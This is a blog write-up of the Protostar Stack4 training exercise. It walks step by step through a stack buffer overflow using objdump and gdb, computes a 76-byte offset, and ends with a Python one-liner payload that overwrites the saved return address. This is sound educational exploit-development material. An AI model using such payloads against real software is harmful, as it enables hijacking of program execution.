Saturday, December 13, 2014

Protostar - Stack #4


About:

Stack4 takes a look at overwriting saved EIP and standard buffer overflows. (link)


Source Code:




Solution:

Running the same objdump command as before gives us the target address:

$ objdump -t ./stack4 | grep "win"
080483f4 g     F .text    00000014              win



Now let's start gdb:

$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.



...and find a few addresses to add breakpoints to...
 (gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   %ebp
0x08048409 <main+1>:    mov    %esp,%ebp
0x0804840b <main+3>:    and    $0xfffffff0,%esp
0x0804840e <main+6>:    sub    $0x50,%esp
0x08048411 <main+9>:    lea    0x10(%esp),%eax
0x08048415 <main+13>:    mov    %eax,(%esp)
0x08048418 <main+16>:    call   0x804830c <gets@plt>
0x0804841d <main+21>:    leave 
0x0804841e <main+22>:    ret   
End of assembler dump.



...and add breakpoints right before and after the gets call...
(gdb) break *0x08048418
Breakpoint 1 at 0x8048418: file stack4/stack4.c, line 15.


(gdb) break *0x0804841d
Breakpoint 2 at 0x804841d: file stack4/stack4.c, line 16.



Now let's start the program, using /tmp/stack4.txt as input...
(gdb) run < /tmp/stack4.txt
Starting program: /opt/protostar/bin/stack4 < /tmp/stack4.txt

Breakpoint 1, 0x08048418 in main (argc=1, argv=0xbffffd14) at stack4/stack4.c:15
15    in stack4/stack4.c


(/tmp/stack4.txt was a text file with "xxxxxxxx" in it here)

We hit our first breakpoint, so let's take a look around:
(gdb) x/20xg $esp
0xbffffc60:    0xb7ec6165bffffc70    0xb7eada75bffffc78
0xbffffc70:    0x080495ecb7fd7ff4    0x080482e8bffffc88
0xbffffc80:    0x080495ecb7ff1040    0x08048449bffffcb8
0xbffffc90:    0xb7fd7ff4b7fd8304    0xbffffcb808048430
0xbffffca0:    0xb7ff1040b7ec6365    0xb7fd7ff40804843b
0xbffffcb0:    0x0000000008048430    0xb7eadc76bffffd38
0xbffffcc0:    0xbffffd6400000001    0xb7fe1848bffffd6c
0xbffffcd0:    0xffffffffbffffd20    0x0804824bb7ffeff4
0xbffffce0:    0xbffffd2000000001    0xb7fffab0b7ff0626
0xbffffcf0:    0xb7fd7ff4b7fe1b28    0x0000000000000000


Continuing on to the 2nd breakpoint:
(gdb) c
Continuing.


We eventually hit the next breakpoint and look at the same chunk of memory:
Breakpoint 2, main (argc=1, argv=0xbffffd64) at stack4/stack4.c:16
16    in stack4/stack4.c
(gdb) x/20xg $esp
0xbffffc60:    0xb7ec6165bffffc70    0xb7eada75bffffc78
0xbffffc70:    0x7878787878787878    0x080482e8bffffc00
0xbffffc80:    0x080495ecb7ff1040    0x08048449bffffcb8
0xbffffc90:    0xb7fd7ff4b7fd8304    0xbffffcb808048430
0xbffffca0:    0xb7ff1040b7ec6365    0xb7fd7ff40804843b
0xbffffcb0:    0x0000000008048430    0xb7eadc76bffffd38
0xbffffcc0:    0xbffffd6400000001    0xb7fe1848bffffd6c
0xbffffcd0:    0xffffffffbffffd20    0x0804824bb7ffeff4
0xbffffce0:    0xbffffd2000000001    0xb7fffab0b7ff0626
0xbffffcf0:    0xb7fd7ff4b7fe1b28    0x0000000000000000


We now know where our buffer starts! (0xbffffc70)

We know the saved return address sits at $ebp + 0x4, so we just need the value for $ebp and we should be able to calculate how long our buffer needs to be.

(gdb) i r $ebp
ebp            0xbffffcb8    0xbffffcb8

Ok, so the amount of padding we need between the start of our buffer to where we should start our injected return address should be:

offset = 0xbffffcb8 + 0x4 - 0xbffffc70 
offset = 76

Now we can try the following (using the target address 0x080483f4 we found in the beginning):

$ python -c "print 'x'*76 + '\xf4\x83\x04\x08'" | ./stack4
code flow successfully changed
Segmentation fault


We're done!


1 comment: